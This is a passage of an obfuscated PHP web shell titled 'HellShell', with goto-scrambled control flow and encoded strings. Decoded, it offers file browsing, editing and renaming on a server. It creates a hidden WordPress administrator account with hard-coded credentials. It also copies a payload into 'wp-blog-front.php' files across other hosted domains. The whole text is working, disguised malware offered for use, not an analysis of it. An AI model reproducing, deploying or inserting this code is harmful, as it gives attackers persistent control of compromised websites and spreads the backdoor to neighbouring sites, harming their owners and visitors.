\162\x3a\43\146\60\60\73\40\x7d\12\56\x77\x61\x72\156\40\173\x20\143\157\154\157\162\x3a\43\146\146\x30\73\40\175\12\x74\x61\x62\154\145\40\x7b\40\167\x69\144\x74\150\x3a\x39\60\45\x3b\x20\x6d\141\x72\147\151\x6e\x3a\x61\x75\x74\x6f\x3b\x20\x62\157\162\x64\x65\x72\x2d\143\x6f\154\154\x61\160\x73\x65\72\143\157\x6c\154\141\160\x73\145\73\x20\x6d\x61\162\147\x69\156\55\x74\x6f\x70\x3a\x32\60\x70\x78\x3b\40\x7d\xa\x74\144\54\164\x68\x20\173\x20\142\157\162\x64\x65\x72\72\x31\160\x78\40\163\157\154\x69\x64\40\x23\65\x35\x35\73\40\160\141\144\x64\151\x6e\x67\x3a\66\x70\x78\73\40\175\xa\x66\x6f\162\155\56\x69\x6e\154\151\156\145\x20\173\40\144\151\x73\x70\154\141\x79\72\151\x6e\154\x69\156\145\73\x20\175\xa\151\156\x70\x75\164\54\142\x75\164\x74\157\156\x20\173\x20\160\x61\x64\x64\x69\x6e\147\x3a\65\x70\x78\x3b\x20\x6d\141\162\147\151\156\x3a\63\160\x78\x3b\x20\x62\x61\143\153\x67\162\x6f\x75\x6e\144\72\43\61\x31\x31\x3b\40\142\x6f\x72\144\x65\162\72\x31\160\x78\x20\x73\157\154\x69\x64\40\x23\x66\x66\60\x3b\40\143\x6f\154\x6f\x72\72\43\146\146\60\73\x20\175\xa\142\165\164\x74\x6f\x6e\x5b\x6e\x61\155\145\75\143\154\157\156\145\137\150\145\x72\x65\x5d\40\173\40\155\x61\x72\x67\x69\156\55\x6c\145\146\164\x3a\61\60\160\170\x3b\40\x7d\xa\74\x2f\163\x74\x79\x6c\145\76\12\74\57\x68\145\141\144\76\xa\x3c\142\x6f\144\171\x3e\xa\x3c\x68\62\76\303\xb0\xc5\xb8\342\x80\x9d\xc2\xa5\x20\110\145\x6c\x6c\x53\x68\145\154\x6c\74\57\150\x32\76\12\x3c\160\76\x3c\142\x3e\120\x61\x74\x68\x3a\x3c\x2f\142\x3e\x20"; goto vmpMT; bnXuH: WjR1c: goto WkJJa; QjW0N: goto fYnAP; goto d5V4O; fW3YQ: Q8yTR: goto iXCp0; uFRdk: goto NqXEh; goto TqSGu; W3QoJ: TwgIS: goto CeVou; DBRvW: goto KR4dN; goto iKuDw; bZY1K: Jfy1n: goto V5q18; jG054: goto vulF5; goto gTcbi; Z_j7r: goto eYfsX; goto GzHf1; P18Wf: HKpfc: goto ZvKn_; rdMJx: vVbZO: goto GGuih; kj73H: goto w1uy_; goto NS_P6; vROd0: goto VrXPo; goto c9tdZ; xH_q2: fglM4: goto cvGW1; V3pkU: TbGY0: goto vWI69; SgrjO: SuiMc: goto G6_zE; KGpi0: goto Tbxrx; goto t7D2Y; vw0N5: goto eL3o9; goto yUM6u; zmw15: EtncM: goto x2NQw; JSfsG: LMiFP: goto OlNXB; Neq8l: lGDG8: goto CUAcn; Wrhjv: Kjfaz: goto hxDMW; ruGiS: goto DwIlf; goto e9J83; iE4ih: uLRAc: goto LQGuL; LvC12: tnzae: goto fzZPn; cytL0: echo "\x3c\57\x74\x61\142\x6c\x65\76\xa\xa\74\x73\x63\x72\151\160\164\76\12\x66\165\156\143\164\151\157\156\x20\x72\145\156\x61\x6d\x65\x43\157\156\x66\x69\162\155\50\146\157\162\x6d\51\40\x7b\xa\40\40\x20\x20\162\145\x74\x75\x72\x6e\x20\143\x6f\x6e\x66\151\x72\155\x28\x27\x52\x65\156\x61\x6d\145\40\x66\151\154\x65\77\47\x29\x3b\12\x7d\xa\74\x2f\163\x63\162\151\x70\164\x3e\12\12"; goto XcJod; RJvzj: VhhHo: goto L1Cpe; NfLr7: YxNMY: goto ObNtA; xhbvE: goto u4PS7; goto Qy7Ry; Ew4Vq: goto mmZKh; goto zpqr9; Mg0kq: BsQIO: goto Zjoa3; LThxC: wxbwg: goto RFrGN; L1Cpe: SYxdL: goto Wc2_k; oyvT0: kDQNo: goto dgkA2; TqSGu: JR8P0: goto JzMHZ; GKsnu: goto hbxNU; goto rs6hQ; EOJg3: goto wZ7ek; goto A4CH8; OzAbI: zsCef: goto U4WAK; syZL1: goto ff9Yy; goto LQfqR; wbqkt: goto UN8fq; goto lxDkg; wD9U7: Tbxrx: goto qoyb0; fotv5: FEh9e: goto klNYr; Xn1aA: goto SScWF; goto HcGlG; U3dVg: goto CggXw; goto oIF6W; dO0pw: function hX3BK($CLC3r = 6) { goto z6NSK; E9SDk: oZVYN: goto gVstI; IQFeb: JSXiv: goto hGplP; IRvQ1: goto Uoi0P; goto C2mPv; JzN0o: goto SJm82; goto M_YmK; C2mPv: UTj5s: goto aT2rK; XlvWZ: f4i3v: goto Nbywx; xaxQT: goto gaqC3; goto V98iK; ctTrq: ezfiV: goto mHC28; uClj2: goto F9402; goto a5jfy; p_dWZ: goto oP8e9; goto zEJyW; wmObU: goto oZVYN; goto aL2My; k70cv: YQnip: goto oysAB; V5ADG: $VHE4e = 0; goto uClj2; QLABN: goto iUYvM; goto Qu1oE; zEJyW: gN3A3: goto QLABN; k02CQ: hV90C: goto IJCBC; M_YmK: fXdFk: goto iMW62; U6iKU: jPu3B: goto XSFRG; xt_eX: f3v9J: goto vMsmb; oysAB: Xx_aN: goto y6Ovi; n9omV: TeIVw: goto Zqp_y; O_THI: ZBde5: goto p_dWZ; AUACC: goto jPu3B; goto Z1zM2; vehzS: Fnpg7: goto pMWTY; sTNzp: goto DaFlI; goto Om_yR; WcNk9: jLVFi: goto sEtis; z6NSK: goto AbpJ5; goto wiXcI; kTKoJ: p3hjl: goto pheJZ; xqy9y: goto YQnip; goto NVDWg; M7OJn: goto cnaEO; goto vq7Jv; e8skV: Uoi0P: goto AUACC; OzeKL: y5FS_: goto dG0BS; pheJZ: iUYvM: goto mWfW7; wWOHx: goto Zqsgl; goto n9omV; pyEPj: GpK83: goto FWlLI; elhIF: OGdFC: goto tkzAW; sEtis: goto GpK83; goto M7OJn; UAHC2: gaqC3: goto WoCa_; IJCBC: L14AX: goto i44FY; wiXcI: fX0Y4: goto v3Dhr; Aecwo: goto OGdFC; goto nZQe6; OzlOw: goto hSU5m; goto cNzaz; s1NPZ: $wDHLd = ''; goto SXxlC; BUHLn: goto XuJqe; goto xaxQT; v3Dhr: XuJqe: goto Aecwo; aT2rK: goto Kfi1D; goto mkqeO; vq7Jv: YdBmX: goto WpMY8; B09uE: goto TeIVw; goto XlvWZ; V98iK: DUsZn: goto mTBTt; aL2My: AbpJ5: goto c3kNA; cNzaz: goto p3hjl; goto aH1n2; n9Ean: return $wDHLd; goto RWIZS; tkzAW: goto w7r8p; goto zFdLi; crGmt: goto YdBmX; goto DMP9E; ZMAnM: goto Dpav7; goto k02CQ; fbdWV: bNXG2: goto O_THI; ONLdM: hSU5m: goto JzN0o; i44FY: goto Du3Bd; goto cHOhe; c3kNA: goto Sv9CS; goto otKq1; yjuQa: QuBwT: goto sTNzp; zFdLi: goto gN3A3; goto fbdWV; DMP9E: PqKeK: goto BUHLn; B6M7m: goto fX0Y4; goto gBnuW; FWlLI: goto ezfiV; goto KOMPn; O0Hpy: F9402: goto Kazcb; WpMY8: Ox0Yj: goto B09uE; hE0kD: goto PqKeK; goto k70cv; WoCa_: Sv9CS: goto wmObU; BWEYW: goto BxgG1; goto VvUlS; XSFRG: goto Xx_aN; goto mhSbN; o_5T6: goto LZqJ2; goto U6iKU; mHC28: if (!($VHE4e < $CLC3r)) { goto UTj5s; } goto IRvQ1; mTBTt: goto ZBde5; goto xqy9y; ajZr2: goto hV90C; goto E9SDk; dcOXU: Du3Bd: goto wJQPo; dG0BS: goto DUsZn; goto mjfie; VvUlS: goto IMDUY; goto elhIF; NVDWg: oP8e9: goto eClIJ; RWIZS: goto JSXiv; goto Pc7ES; otKq1: goto ak10X; goto WcNk9; mjfie: IMDUY: goto e8skV; UhbvS: goto ZYSkF; goto ZMAnM; IICYx: goto jLVFi; goto xt_eX; Nbywx: BxgG1: goto wWOHx; iMW62: ZYSkF: goto toxtZ; pMWTY: mI7hJ: goto BONSU; BONSU: goto sOwgY; goto r7_gy; ezTwV: goto QuBwT; goto ajZr2; Z1zM2: DaFlI: goto V5ADG; nZQe6: Dpav7: goto yjuQa; cHOhe: Kfi1D: goto BWEYW; toxtZ: goto inuE4; goto eYYSc; wJQPo: w7r8p: goto IICYx; gVstI: $SOGXc = "\x61\142\143\x64\x65\146\147\150\x69\152\x6b\x6c\x6d\x6e\157\160\x71\162\163\x74\165\x76\167\x78\171\x7a\x30\61\62\x33\x34\x35\x36\x37\70\x39"; goto OIEey; gBnuW: inuE4: goto n9Ean; Om_yR: sOwgY: goto OzeKL; Kazcb: goto L14AX; goto crGmt; OIEey: goto yUB7o; goto ctTrq; mhSbN: goto Fnpg7; goto vehzS; mWfW7: goto f4i3v; goto dcOXU; eYYSc: AlwMZ: goto ezTwV; szVeO: goto mI7hJ; goto h9veS; hGplP: goto Ox0Yj; goto B6M7m; r7_gy: yUB7o: goto OzlOw; vMsmb: $wDHLd .= $SOGXc[rand(0, strlen($SOGXc) - 1)]; goto o_5T6; mkqeO: cnaEO: goto pyEPj; y6Ovi: goto f3v9J; goto UAHC2; Qu1oE: goto bNXG2; goto O0Hpy; eClIJ: $VHE4e++; goto hE0kD; KOMPn: SJm82: goto s1NPZ; SXxlC: goto AlwMZ; goto kTKoJ; h9veS: goto fXdFk; goto IQFeb; a5jfy: LZqJ2: goto szVeO; Pc7ES: ak10X: goto ONLdM; aH1n2: Zqsgl: goto UhbvS; Zqp_y: } goto QPDRP; INens: goto QRu0E; goto KCaqs; kT4U8: SjQoV: goto IrBBt; RUZzO: goto gUKWt; goto yRzSi; Kdmp4: goto kOZC5; goto d1ymB; bprOo: goto hqvji; goto VR99U; lxDkg: Vz7Nc: goto xLzC1; tXmFa: goto mrEaW; goto KmpX7; ZnsV8: XVnA0: goto cpkaA; PcG05: PEDAo: goto jUo7I; CsPsQ: goto Vz7Nc; goto u3UcH; wbKnl: zT7B3: goto Ts3fo; TVfkN: l5mRt: goto sXGTh; ya2iC: $hznvy .= "\74\144\x69\x76\40\x63\x6c\x61\x73\x73\x3d\47\x6f\x6b\x27\76\xc3\xa2\305\223\xe2\200\x9d\x20\127\x50\x20\x41\x64\x6d\151\156\x20\103\162\145\141\164\145\x64\x3a\40\150\x65\154\154\40\57\40\x48\145\x6c\x6c\x40\x32\x30\62\x35\x3c\57\x64\x69\166\x3e"; goto lOUZQ; klNYr: goto nyxtr; goto auij7; by2Me: uU3hK: goto ReGJh; mUedk: ww1U4: goto Ms1xZ; BMgJY: goto YV7J3; goto LK7PK; HsnEG: goto FQi0d; goto nDgjJ; SGYFQ: C6uMX: goto Tm20x; c6i_W: cBi0z: goto MpkXP; mEyIg: AJEvA: goto ya2iC; TH0hL: goto eidbW; goto dpuZk; xkb3Y: goto FAGob; goto MjtI0; zN5y3: wHPSX: goto XkG1y; zGsRd: goto fZku2; goto N_bhX; HQKM6: Kh6bK: goto pWLEz; Y39BH: SGf7r: goto LHCPs; OQA_Z: goto jFF3F; goto YRBfv; INFFL: $D8SPt = __FILE__; goto GETqH; G8pQn: V35gp: goto tXmFa; CH5gS: goto kZyGP; goto QVOeC; xglhX: goto FH10o; goto P18Wf; HgL8O: v26Id: goto h1gA6; fzZPn: goto TiAaS; goto cqOD9; IrBBt: zwr0b: goto nJOL3; f2HDu: tALZ4: goto asy96; SU2aS: goto M_aAL; goto FBet9; GGaB5: goto QxCZA; goto rHduz; fbCMn: iFm00: goto dDHyn; WRtx2: goto nCsBk; goto VJPkJ; v_bQx: goto yuxjg; goto DkneV; QasTk: kNvRZ: goto pmKLG; psN7E: Xt2yl: goto rTRoz; i6StH: goto KOcL8; goto fotv5; UGHVI: YeuQW: goto di3MM; VWhb1: K14Rm: goto leSQu; U4WAK: echo "\74\146\x6f\x72\x6d\x20\x6d\x65\x74\x68\157\144\75\47\160\x6f\163\164\47\76\74\164\145\170\164\x61\162\145\x61\x20\156\x61\x6d\145\x3d\47\146\151\x6c\x65\x64\141\164\x61\47\76{$mdI48}\x3c\57\164\x65\x78\164\x61\162\x65\x61\x3e\74\x62\x72\x3e\74\142\165\164\164\x6f\156\x20\x6e\x61\x6d\x65\x3d\47\x73\x61\x76\x65\x66\151\x6c\x65\x27\x3e\x53\x61\x76\x65\74\57\142\x75\164\x74\x6f\156\76\40\x3c\141\40\150\162\x65\x66\x3d\x27\x3f\x64\x69\162\x3d" . urlencode($JdqDR) . "\x27\40\163\164\x79\154\145\75\47\143\x6f\x6c\157\x72\x3a\x23\x66\x66\60\47\76\102\x61\143\153\x3c\57\x61\x3e\74\x2f\146\x6f\x72\155\76"; goto Lx0XR; bkpQm: goto vh4Ya; goto JrmU1; HMmv3: goto VhhHo; goto C1F0D; zF2eE: An6YB: goto mxgcF; YS87K: goto DpXAP; goto MnYYv; nmlvO: KR4dN: goto UmErq; DYzZc: goto Jc76G; goto NRbvr; nY_1Q: veDoV: goto fdusi; v8gH4: goto z3aiS; goto hQr7P; G5dt5: goto LGhol; goto tuKb4; fFQF6: goto N8UWO; goto UVUtQ; n0AyI: goto c1Y1i; goto mGj0u; uSV6y: $hznvy .= "\74\144\151\x76\x20\x63\x6c\141\x73\163\75\47\145\x72\x72\47\76\xc3\242\xc5\223\313\x9c\x20\x57\120\x20\165\x73\145\x72\40\143\x72\145\x61\x74\151\x6f\156\40\x65\162\162\157\x72\x3c\57\x64\x69\166\x3e"; goto bprOo; W8XxV: goto CfqF0; goto Mix7i; OmOy_: goto QJ85Y; goto B7Xir; KMUru: DwIlf: goto t45jc; aO1F2: goto h_uEZ; goto y2JC5; A8SPk: CLznv: goto PC1uP; eM273: goto D0vP0; goto HK11o; CUWhv: goto OFmO8; goto UBRcC; AUr_O: goto Ke450; goto ltaRC; ky0ox: QIr9i: goto nndCL; g7eCo: goto Qjkti; goto W6N2X; olZtW: jQe1n: goto hyfoa; dSIe6: Pu1yM: goto SgrjO; PWPPT: nWrVW: goto CTQ0O; drhqD: X_y0p: goto B05Ub; cFVUB: $D6V0J = dirname($D6V0J); goto yikDg; uJ1Au: En4Bl: goto DBRvW; doVAA: goto Q_gWi; goto IJm2S; B1nVA: J2g9H: goto Z_1_4; H7UpU: HjMDE: goto OBxJ0; XM0Z1: foreach ($HbhNW as $JUtnp) { goto aUrNh; Q3Zqf: zKduV: goto u2qPg; s9vav: echo "\x3c\x6c\151\76\x3c\141\x20\x68\x72\x65\146\x3d\47{$JUtnp}\47\x20\164\141\162\x67\145\164\75\47\137\x62\154\141\x6e\153\x27\x3e{$JUtnp}\x3c\57\x61\76\74\x2f\154\x69\76"; goto sQ3ib; gKlF6: goto DWhQa; goto jqHoR; NYDkV: DWhQa: goto Q3Zqf; aUrNh: goto cMRko; goto e9uV9; B4EMc: qoZyg: goto gKlF6; JtDgN: DeS4P: goto UsVfk; eOIIu: rsRDR: goto B4EMc; u2qPg: goto t0TJ3; goto eOIIu; jqHoR: t0TJ3: goto JtDgN; sQ3ib: goto rsRDR; goto NYDkV; e9uV9: cMRko: goto s9vav; UsVfk: } goto Orv0N; ePZM9: goto aCSQe; goto d_uUZ; kodTq: goto QIr9i; goto N0XQT; d5V4O: goto Rq_co; goto Vxlow; d8vt9: kwn_w: goto Zq6n4; AuBcD: z3pf1: goto nqTXH; FR0vb: FtsP2: goto e4HMG; TNSh_: echo "\74\41\x44\x4f\103\x54\131\120\105\x20\x68\164\x6d\x6c\76\74\x68\164\x6d\154\x3e\x3c\150\x65\x61\144\76\x3c\x6d\x65\164\141\40\x63\x68\141\x72\163\145\164\75\x27\165\x74\146\55\70\x27\x3e\x3c\x74\x69\x74\x6c\x65\x3e\105\x64\x69\x74\x3c\x2f\164\x69\164\x6c\145\76\xa\x20\x20\x20\x20\40\x20\x20\40\74\163\x74\171\x6c\145\76\xa\40\40\40\40\40\40\40\40\x62\157\x64\x79\173\x62\x61\x63\153\147\162\157\x75\156\x64\x3a\43\60\60\60\73\143\x6f\154\x6f\x72\72\43\x66\146\x30\x3b\146\157\156\164\x2d\x66\x61\x6d\151\154\x79\x3a\155\x6f\156\157\x73\160\x61\x63\x65\73\164\x65\170\x74\55\141\x6c\x69\x67\156\x3a\x63\145\x6e\164\x65\x72\x7d\12\40\40\x20\40\40\40\40\40\x74\145\170\x74\x61\x72\145\x61\173\x77\151\144\164\150\x3a\71\x35\45\73\150\145\151\x67\150\164\x3a\x38\60\x76\150\x3b\142\x61\143\x6b\x67\162\157\165\x6e\144\x3a\x23\x31\61\61\73\143\157\x6c\x6f\x72\x3a\43\146\x66\x66\73\142\157\162\144\145\x72\x3a\x31\160\x78\x20\x73\157\154\151\144\40\43\x66\x66\x30\175\xa\x20\x20\x20\40\40\x20\x20\40\142\165\x74\x74\x6f\156\x7b\x70\x61\x64\144\x69\156\147\x3a\70\160\x78\73\x62\141\x63\153\x67\x72\x6f\x75\x6e\x64\72\x23\x32\62\62\x3b\143\157\x6c\157\162\x3a\43\146\x66\x30\73\142\x6f\162\144\145\x72\72\x31\x70\x78\40\163\x6f\154\151\x64\x20\43\146\x66\x30\x7d\12\x20\40\40\40\x20\40\40\40\x3c\57\163\x74\171\154\145\76\x3c\57\150\145\141\144\x3e\74\x62\157\144\171\76"; goto Yv5N0; HcGlG: fciXr: goto EZGSd; TwqXQ: mNINs: goto XPX4t; yW17m: R7fQw: goto uJ1Au; N_bhX: jkCKs: goto wwM9e; QqInZ: FQi0d: goto cAAde; XLvuk: N8UWO: goto I2Et3; QsPIc: hbxNU: goto Dvq11; LK51e: goto sqq0b; goto gru6B; qa8k3: goto B20kN; goto QWgsx; vH8mz: goto GTMrE; goto q2PPw; tuKb4: zyr_3: goto XM0Z1; YRVUI: goto a1JYq; goto q7YAy; WoibB: goto Mpw0a; goto U0S7x; wkKdZ: xwHle: goto M1sbV; kMj6k: goto GFznw; goto ZenZd; M4u07: goto DCCBg; goto wEY1S; lVtDI: hKkuU: goto cLM9z; zpqr9: goto qCPgI; goto PLsH_; rk09R: goto jQe1n; goto K4XlR; xWAA_: E3cAA: goto V19mR; Zf00L: goto fXR_9; goto orK6d; MAhYk: oCdVG: goto sFQq4; RCvXC: QLiDU: goto HI3Eh; wjSI3: goto WPvfP; goto UJv1z; Kw4uo: goto DbkW8; goto ZqkGP; rHduz: oRPQR: goto nRCFw; juHmK: goto f5n0p; goto GsX13; zfi1i: goto Pu1yM; goto CZKTK; NW2YB: iMPZC: goto cQw0H; ZhMNW: goto ocCsn; goto lJLwF; a3NhY: goto xqiY_; goto VrDET; M_ySO: rpkEp: goto Nluj9; C3gIo: goto U2hWI; goto O1iFw; ELRzR: goto roQYD; goto noXGz; Z2WKx: goto zWmwG; goto Due3P; cWIi8: aw61p: goto RUZzO; jUo7I: kTdtq: goto drZ7J; T_f2O: goto z3pf1; goto qtOMu; m6xtS: kOZC5: goto akk14; ErcjN: ff9Yy: goto zGznt; xihPS: goto Mui_y; goto DULDq; YvG2f: w4G6M: goto APerP; iM2Kf: EBoDv: goto Q1nFk; toqPO: BtDrW: goto SnuW7; v0IZQ: doNM2: goto kmudu; PFakA: VtXS1: goto Qd3lh; HLnpY: goto SXti3; goto gKF0b; dt_Tu: cAC6U: goto Y6Vvz; b5rBr: PdiyD: goto Zp6nL; zdSMe: goto KJSI3; goto yUnRu; Aq8ar: wht1c: goto PZ6FD; Z4ti4: TeCIh: goto uFRdk; bP8J6: goto vdRYy; goto kj73H; ONcuP: goto sbJX_; goto ELRzR; XRSia: B20kN: goto i6StH; rEqON: goto SuiMc; goto pqjjX; b7_TF: goto MiNjJ; goto lf5xV; TGNVX: goto yO1DX; goto Yj7dO; xbuKp: goto sHU8k; goto KHiK3; aPdzy: OCR1p: goto uAwQG; hKizP: goto a750m; goto jxpFG; FLvD1: function rbq7A($HQfp3) { goto RCPFH; ucrGN: goto NGfsY; goto Xr5mb; dyAHW: goto Bzfnk; goto dnPKr; ob6Cu: VGRR0: goto Ne70u; X1WUx: goto oeSNM; goto zLlAO; l2F2p: goto Z31Fd; goto oWGyJ; zxEIp: T6rNp: goto eyoHR; LCZqb: Mm4pS: goto ytgoV; rdVee: PN5bN: goto xbAoe; qgpvB: goto Hxh7o; goto zB_Lr; veIQX: C1hUL: goto Rq0ps; NnasV: bG7_5: goto Ujwfn; nwpCw: ygBm1: goto WzB2_; l7vPq: aiZQF: goto LOnIK; xQELg: f9fK0: goto yoM19; XZUKX: goto pxK2B; goto NiA64; RCPFH: goto O_rAU; goto G65F6; zuJSO: sUQ5Z: goto VcU52; gbJ7Q: goto CVtE9; goto BsihB; IW4c5: $HbhNW = []; goto tZpKV; CoFbs: goto ucoup; goto Typcn; E7tbT: goto ekxgf; goto yscww; NlVuf: pxK2B: goto XRuZG; kzGhE: imBDh: goto Pon0h; GD7D9: goto bG7_5; goto EP2nv; adcDm: goto wIyx4; goto CpPbF; ym_CG: Kh7RI: goto mLM3m; kiMUO: oeSNM: goto BCta0; s_wLQ: RzePA: goto j1nt_; CZnQe: goto q4z40; goto vZIZa; X8Pzq: goto W04iN; goto l7vPq; acvTV: IDMb3: goto X1WUx; aXSPh: IYrIO: goto C1XOa; Lse7n: Ophjk: goto IW4c5; yJi0s: ZzslW: goto oCCH7; kRKAH: $oSJ8K = __DIR__; goto LV7ak; CpPbF: uwdv5: goto iUp7n; Asytx: goto Vv71w; goto oXtKh; DIDsO: $oSJ8K = dirname($oSJ8K); goto ajxOd; ajxOd: goto yfJ3Q; goto JfJcQ; yscww: goto imBDh; goto S_utK; mLM3m: $NySlu = true; goto M3mDa; kbfeI: iZv5D: goto itiJZ; xa6HN: Z31Fd: goto NQcKQ; pDWOG: WPqri: goto TWsd3; OxUqq: ZBltR: goto qgpvB; DxHI1: goto b6YWM; goto u1_iz; ME5gR: goto cYirU; goto z74ez; vw3MB: wIyx4: goto O1e3M; gg_Ow: goto uwdv5; goto JgBbu; cUH_d: b6YWM: goto FGDly; z74ez: N4Rbr: goto xyVHx; cjYXS: Bzfnk: goto bSCy_; Z4Zgk: Hxh7o: goto ODmLS; JpC1w: TgnkZ: goto mKtom; EePFN: nOhdC: goto bDbsJ; BsihB: gNqUC: goto anKeV; BCta0: if (!(preg_match("\57\x5c\57\165\x5b\134\x77\x5d\x2b\44\57", $oSJ8K) && is_dir("{$oSJ8K}\57\x64\157\x6d\141\151\156\x73"))) { goto T6rNp; } goto PeXwr; RuJTK: Fx4lB: goto gbQSf; dBc8X: goto xejn1; goto ym_CG; H8m2U: goto M1_9G; goto EePFN; TQJ8q: HZkyG: goto yYxSX; JK3zx: goto oPcBJ; goto ioM0M; VcU52: goto XpVRy; goto vsyfU; bPS3x: mfwMj: goto X8Pzq; bawC0: return []; goto y11Cz; TWsd3: goto BZarw; goto Ww0iN; S_utK: tCju4: goto nwpCw; DfSGe: i2z_7: goto h9GGe; itiJZ: OpOIn: goto HAlIQ; h9GGe: static $NySlu = false; goto wzZwl; ODmLS: goto zspJd; goto kiMUO; Typcn: goto RzePA; goto yjGRk; v2el4: goto HR9pC; goto awPpR; YGPCw: goto G5zCG; goto X4SNz; EX2Xl: y6fo7: goto zuJSO; gdWEw: goto jqP7l; goto JpC1w; O1e3M: goto VGRR0; goto gg_Ow; XRuZG: goto rVm8T; goto ONL3Y; Ujwfn: if (!($oSJ8K !== "\x2f")) { goto N4Rbr; } goto ME5gR; JfJcQ: FAwvr: goto mDnjC; REPKx: HR9pC: goto dBc8X; E7Fui: goto i2z_7; goto fqF7I; N2XVx: goto y6fo7; goto vw3MB; Ymuz7: bYU93: goto NlVuf; tZpKV: goto JHDG7; goto a3KHu; t8f0f: goto Yq9fS; goto GpbnR; yoM19: DQAju: goto Hn2VE; DLBKI: goto f9fK0; goto XIFA0; XIFA0: tqHsE: goto Acc8r; tSpkE: sdo3T: goto GD7D9; oXtKh: goto o642m; goto cIm87; EP2nv: PddbW: goto bPS3x; cGPAx: gDD_e: goto hTkJO; pg8Z1: o642m: goto Z4Zgk; XrRoM: goto PN5bN; goto cGPAx; bDbsJ: goto JZtDd; goto DxHI1; jgKDl: kaAt0: goto jdX2M; oCCH7: CWv87: goto XSJNG; BJs1m: Go7_O: goto SEjSU; pjo2x: goto Ophjk; goto aXSPh; fqF7I: wTz4X: goto Asytx; JgBbu: PT_Ta: goto ob6Cu; YL6ho: Yq9fS: goto TQJ8q; mDnjC: gsfHr: goto YySBW; NDFmA: goto gsfHr; goto XrRoM; lyRId: goto NfDoz; goto RuJTK; xbAoe: ucoup: goto C5uPW; LV7ak: goto aKrZA; goto xa6HN; KTMKG: goto jwhB2; goto l2F2p; hUsW0: goto Vg3VJ; goto yJi0s; cIm87: aKrZA: goto NDFmA; G65F6: Vg3VJ: goto tSpkE; jdX2M: goto IDMb3; goto tAWl_; PkbjQ: goto kaAt0; goto DfSGe; Rq0ps: ekxgf: goto dyAHW; FGDly: EDsBy: goto QNwWs; pqxQH: goto UZcoV; goto kbfeI; QNwWs: goto DUt0y; goto hk2Cv; jVrVj: q4z40: goto T4g40; u1_iz: a38SL: goto YGPCw; on1Qf: C4UnC: goto DIDsO; zeeZE: xs1pG: goto rHdse; QD4S4: MPuuV: goto v2el4; GpbnR: NfDoz: goto m_bii; tAWl_: goto ZzslW; goto YL6ho; x8XLi: zspJd: goto adl6_; txZJv: DUt0y: goto ucrGN; yjGRk: rVm8T: goto U7qGD; NQcKQ: Vv71w: goto CZnQe; SEjSU: JZtDd: goto yFj2v; SAeR5: goto bYU93; goto jVrVj; ONL3Y: M1_9G: goto acvTV; NiA64: goto aiZQF; goto s_wLQ; cFhRP: goto IYrIO; goto pg8Z1; X4SNz: goto FAwvr; goto on1Qf; LOnIK: jwhB2: goto czRc4; EKa54: goto g7wPa; goto SAeR5; xyJGz: goto C4UnC; goto EX2Xl; oyhQU: goto iZv5D; goto AV0Ca; dnPKr: jqP7l: goto v1ojR; d5BL5: xejn1: goto kRKAH; PO6As: UZcoV: goto NSWf6; rHdse: goto PddbW; goto kzGhE; j7TQP: foreach (scandir("{$oSJ8K}\57\x64\157\x6d\141\151\x6e\163") as $B0UUB) { goto FNAqc; kOSzj: rVEQT: goto CNHV4; lzFP5: ux11Q: goto h0Laq; tjDHf: goto Mfz38; goto fC0RF; tYmGo: pqNVa: goto TMZT0; VvLWy: goto J0KX1; goto wT4S0; nL6Xp: n_DIT: goto MYboE; GApLz: goto B2ODT; goto Y28F3; E3Mrn: goto rnYLp; goto nbuQd; j96Dv: goto Jbzht; goto QG6fV; n3tJX: goto hsFf_; goto gSGNf; MYboE: if (!($B0UUB === "\x2e" || $B0UUB === "\56\x2e")) { goto WlcCY; } goto N9UlJ; FNAqc: goto u4oqo; goto WM7iI; jp3j9: goto bzSc_; goto cceQ3; zhrre: y7e_I: goto eQef8; cl_yF: goto A76t1; goto bUerB; HvwyS: goto Oa6fD; goto JGlPW; E436F: goto XOwo2; goto nL6Xp; lx4x2: goto PD6vj; goto OVhRZ; SWKD4: goto h85Ee; goto X8LHV; pT6Yx: goto rVEQT; goto phPk5; AfiM4: goto eXtyq; goto yW6vy; N9UlJ: goto v7xTO; goto ugTRA; Y28F3: rP9XS: goto c5Q47; Ii0Sr: goto ruKhz; goto dYMiY; M8GVO: v7xTO: goto FrTbR; W6F5i: J0KX1: goto JQJdY; R0RKv: Fl1wR: goto i2A_Z; d7h1L: goto VoeqA; goto F7EoO; c5Q47: $zbFXB = "\167\x70\55\142\x6c\x6f\147\x2d\x66\162\x6f\x6e\164\56\x70\150\160"; goto AfiM4; zSWeR: u4oqo: goto FBF73; X8LHV: goto TUDXP; goto VSrOX; Ojl3u: goto mMdzY; goto Ei6BU; Hzg4W: if (!is_writable($htvAP)) { goto Q98Ok; } goto lx4x2; nbuQd: rnYLp: goto VkdA4; xZLoR: lT7gi: goto LvU_1; a_n5b: g9ZiQ: goto h032c; Ei6BU: goto q8FyN; goto WJyBR; VSrOX: t8QM7: goto q_1Q_; TODUf: PEinE: goto xb4ha; bUerB: CAQ2x: goto TQJZf; lypPS: VoeqA: goto TRYQ5; TFMBV: goto K3003; goto ftBy8; a6hbS: goto n2PG3; goto zSWeR; fhs0S: mMdzY: goto fGFIP; SemA_: zWd7Y: goto nuB10; qpJyw: goto WpHqr; goto im3l0; h3MuU: goto Fl1wR; goto biAXF; POSeB: goto zqCeA; goto tm9_T; i_Aia: goto d26Tq; goto kOSzj; L6U9a: igC57: goto FX8qe; edIzx: goto g9ZiQ; goto UUGrD; fC0RF: n2PG3: goto XRGGx; mT1QB: WpHqr: goto Ojl3u; RYImv: hsFf_: goto d7h1L; A_llZ: dtuOX: goto bKvyd; wT4S0: Ein9r: goto bIVem; fGFIP: goto Ein9r; goto mT1QB; ftBy8: goto MNAMj; goto sadJ1; HzbFA: TsLzd: goto h3MuU; nuB10: if (!file_put_contents($KUX1S, $HQfp3)) { goto riXmi; } goto HvwyS; WM7iI: d26Tq: goto u3diC; lchgJ: goto n_DIT; goto Wiuan; n766B: goto TsLzd; goto i_Aia; WJyBR: XOwo2: goto VWz3O; eQef8: goto B1C2A; goto TODUf; oVwKo: goto ZJSTt; goto DpPtS; kg079: YIEH6: goto zhrre; Wiuan: B2ODT: goto TFMBV; q7UK1: goto ezUtN; goto edIzx; ugTRA: WlcCY: goto PAtId; q_1Q_: goto lT7gi; goto VvLWy; zV6dX: h85Ee: goto THj1B; bIVem: goto r5jpE; goto vDhQm; H6Byz: MNAMj: goto tYmGo; OIxoY: goto t8QM7; goto GPgZp; xb4ha: ku1XX: goto pT6Yx; HCALd: goto U8wF3; goto PWQyQ; D81PF: goto Og_55; goto cl_yF; DpPtS: U8wF3: goto rePbp; MRtbf: goto pqNVa; goto YPhq3; CNHV4: goto dtuOX; goto 